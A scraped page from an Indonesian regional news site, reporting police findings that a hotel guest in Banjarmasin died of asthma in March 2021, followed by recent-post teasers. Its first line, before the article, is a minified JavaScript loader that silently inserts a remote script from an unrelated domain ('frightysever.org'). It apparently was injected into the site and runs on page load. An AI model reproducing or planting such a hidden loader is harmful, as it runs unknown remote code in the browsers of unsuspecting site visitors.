(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tak Ada Tanda Kekerasan, Polisi Pastikan Kematian Tamu Hotel di Banjarmasin Akibat Sakit


KANALKALIMANTAN.COM, BANJARMASIN – Penyebab kematian AN, tamu hotel yang meninggal di kamarnya pada Rabu (17/3/2021) akhirnya terungkap. Polisi memastikan bahwa AN meninggal karena sakit asma.

Hal tersebut disampaikan Kapolsek Banjarmasin Timur Kompol Susilo usai mendapatkan hasil visum dari rumah sakit. Selain itu, juga tidak adanya tanda kekerasan pada tubuh perempuan usia 33 yang ber KTP Kelurahan Penjaringan, Jakarta Utara, Provinsi DKI Jakarta, tersebut.

“Kematian korban diduga akibat penyakit asma yang kambuh,” kata Kompol Susilo.
Di sisi lain, teman pria korban, ML (25) yang sebelumnya dicari, akhirnya datang menyampaikan keterangan ke polisi. Dari pengakuannya, ML mengatakan hanya sebatas teman dekat AN.

Berdasar keterangan sejumlah saksi yang dihimpun Kepolisian Sektor Banjarmasin Timur mendapati wanita berusia 33 tahun itu, sempat dipijat oleh seseorang di dalam kamar hotel.

AN (33), wanita yang ditemukan tewas misterius di kamar 320 Save Hotel Banjarmasin itu, terungkap beralamat KTP Kelurahan Penjaringan, Jakarta Utara, Provinsi DKI Jakarta.

Kapolsek Banjarmasin Timur Kompol Susilo mengungkapkan, untuk identitas korban berinisial AN (33) warga Jakarta.
Kompol Susilo membeber, kronologis dari penemuan mayat wanita tersebut, dari informasi yang dihimpun pihak kepolisan dari pihak hotel, bahwa ML bersama korban, check in di hotel pada hari Minggu (15/3/2021) dini hari, sekitar pukul 03.00 Wita.

Selanjutnya, Rabu (17/3/2021) sekitar pukul 08.30 pagi, ML membawa seorang tukang pijat, karena AN dikabarkan sedang mengalami sakit.

Masih dari keterangan polisi, setelah selesai dipijat, ML meminta dua karyawan hotel R dan N, untuk menunggu korban yang saat itu tengah sakit. Sementara itu, ML ingin mengantar si tukang pijat tersebut.

“Karena R dan N takut berada di kamar tersebut, jadi akhirnya mereka keluar, tapi karena kasihan dengan kondisi AN, mereka pun masuk lagi untuk memastikan kondisi AN,” ucap Kapolsek Banjarmasin Timur.

“Sebenarnya R dan N sudah menyarankan kepada ML (teman pria AN, red), untuk membawanya ke rumah sakit, karena kondisi korban yang sudah kritis,” tambah Kompol Susilo.

Belakangan, saat kembali masuk ke dalam kamar, dua pegawai hotel itu mendapati korban sudah tidak bernyawa.(Kanalkalimantan.com/kk)

 

Reporter : Kk
Editor : Cell

 


Al Ghifari

Recent Posts

Upayakan Penanganan Banjir di Banua, Pemprov Kalsel Gelar Rakor

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More

7 jam ago

DPRD Kapuas Sampaikan Hasil Reses dalam Rapat Paripurna

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More

8 jam ago

Upayakan Kawasan Kubah yang Rapi dan Tertata, Pemkab Banjar Berdialog dengan Puluhan Pedagang

KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More

9 jam ago

PUPR Kalsel Gelar Sosialisasi Jakstrada Bersama Perwakilan 13 Kabupaten dan Kota

KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More

10 jam ago

Bupati Banjar Terima Kunjungan Manajer BSI Kalselteng

KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More

11 jam ago

Cemari Lingkungan, Komisi III DPRD Banjarbaru Cek SPPG ‘Merah’

KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More

11 jam ago

This website uses cookies.